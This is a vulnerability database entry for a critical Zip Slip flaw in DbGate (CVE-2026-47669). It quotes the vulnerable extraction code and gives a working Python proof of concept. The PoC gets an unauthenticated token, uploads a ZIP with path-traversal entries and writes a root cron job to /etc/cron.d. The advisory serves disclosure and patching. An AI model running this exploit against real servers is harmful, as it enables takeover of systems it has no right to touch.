Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    GHSA-H535-J5HR-MV56

    Vulnerability from github – Published: 2026-06-05 16:26 – Updated: 2026-06-05 16:26
    VLAI
    Summary
    DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE
    Details

    The unzipDirectory() function in packages/api/src/shell/unzipDirectory.js (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with ../ entries writes files anywhere on the filesystem.

    In the default Docker deployment, DbGate runs as root and the none auth provider issues JWT tokens without credentials via POST /auth/login, so this is exploitable by any network-adjacent attacker.

    Affected code:

    packages/api/src/shell/unzipDirectory.js, line 27:

    const destPath = path.join(outputDirectory, entry.fileName);
    // No check that destPath stays within outputDirectory
    

    Called from packages/api/src/controllers/archive.js, lines 291-293:

    async unzip({ folder }) {
        const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });
        await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));
    

    The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.

    PoC:

    import requests, zipfile, io
    
    TARGET = "http://localhost:3000"
    
    # Get auth token (no credentials needed in default Docker)
    r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"})
    token = r.json()["accessToken"]
    hdrs = {"Authorization": f"Bearer {token}"}
    
    # Create malicious ZIP with path traversal
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w') as zf:
        zf.writestr("../../../../../../etc/cron.d/dbgate-pwn",
                    "* * * * * root id > /tmp/pwned\n")
    buf.seek(0)
    
    # Upload ZIP
    r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs,
                      files={"data": ("evil.zip", buf, "application/zip")})
    info = r.json()
    
    # Save to archive
    requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs,
                  json={"filePath": info["filePath"], "fileName": "evil.zip"})
    
    # Trigger Zip Slip - writes cron job to /etc/cron.d/
    requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs,
                  json={"folder": "evil.zip"})
    print("Check /tmp/pwned after 1 minute")
    

    Impact: Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.

    Show details on source website

    {
      "affected": [
        {
          "database_specific": {
            "last_known_affected_version_range": "\u003c= 7.1.8"
          },
          "package": {
            "ecosystem": "npm",
            "name": "dbgate"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "7.1.9"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "aliases": [
        "CVE-2026-47669"
      ],
      "database_specific": {
        "cwe_ids": [
          "CWE-22"
        ],
        "github_reviewed": true,
        "github_reviewed_at": "2026-06-05T16:26:01Z",
        "nvd_published_at": null,
        "severity": "CRITICAL"
      },
      "details": "The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem.\n\nIn the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker.\n\n**Affected code:**\n\n`packages/api/src/shell/unzipDirectory.js`, line 27:\n```js\nconst destPath = path.join(outputDirectory, entry.fileName);\n// No check that destPath stays within outputDirectory\n```\n\nCalled from `packages/api/src/controllers/archive.js`, lines 291-293:\n```js\nasync unzip({ folder }) {\n    const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });\n    await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));\n```\n\nThe archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.\n\n**PoC:**\n\n```python\nimport requests, zipfile, io\n\nTARGET = \"http://localhost:3000\"\n\n# Get auth token (no credentials needed in default Docker)\nr = requests.post(f\"{TARGET}/api/auth/login\", json={\"amoid\": \"none\"})\ntoken = r.json()[\"accessToken\"]\nhdrs = {\"Authorization\": f\"Bearer {token}\"}\n\n# Create malicious ZIP with path traversal\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, \u0027w\u0027) as zf:\n    zf.writestr(\"../../../../../../etc/cron.d/dbgate-pwn\",\n                \"* * * * * root id \u003e /tmp/pwned\\n\")\nbuf.seek(0)\n\n# Upload ZIP\nr = requests.post(f\"{TARGET}/api/uploads/upload\", headers=hdrs,\n                  files={\"data\": (\"evil.zip\", buf, \"application/zip\")})\ninfo = r.json()\n\n# Save to archive\nrequests.post(f\"{TARGET}/api/archive/save-uploaded-zip\", headers=hdrs,\n              json={\"filePath\": info[\"filePath\"], \"fileName\": \"evil.zip\"})\n\n# Trigger Zip Slip - writes cron job to /etc/cron.d/\nrequests.post(f\"{TARGET}/api/archive/unzip\", headers=hdrs,\n              json={\"folder\": \"evil.zip\"})\nprint(\"Check /tmp/pwned after 1 minute\")\n```\n\n**Impact:** Arbitrary file write as root -\u003e RCE. Full container compromise in Docker deployments.",
      "id": "GHSA-h535-j5hr-mv56",
      "modified": "2026-06-05T16:26:01Z",
      "published": "2026-06-05T16:26:01Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/dbgate/dbgate/security/advisories/GHSA-h535-j5hr-mv56"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/dbgate/dbgate"
        },
        {
          "type": "WEB",
          "url": "https://github.com/dbgate/dbgate/releases/tag/v7.1.9"
        }
      ],
      "schema_version": "1.4.0",
      "severity": [
        {
          "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
          "type": "CVSS_V4"
        }
      ],
      "summary": "DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE"
    }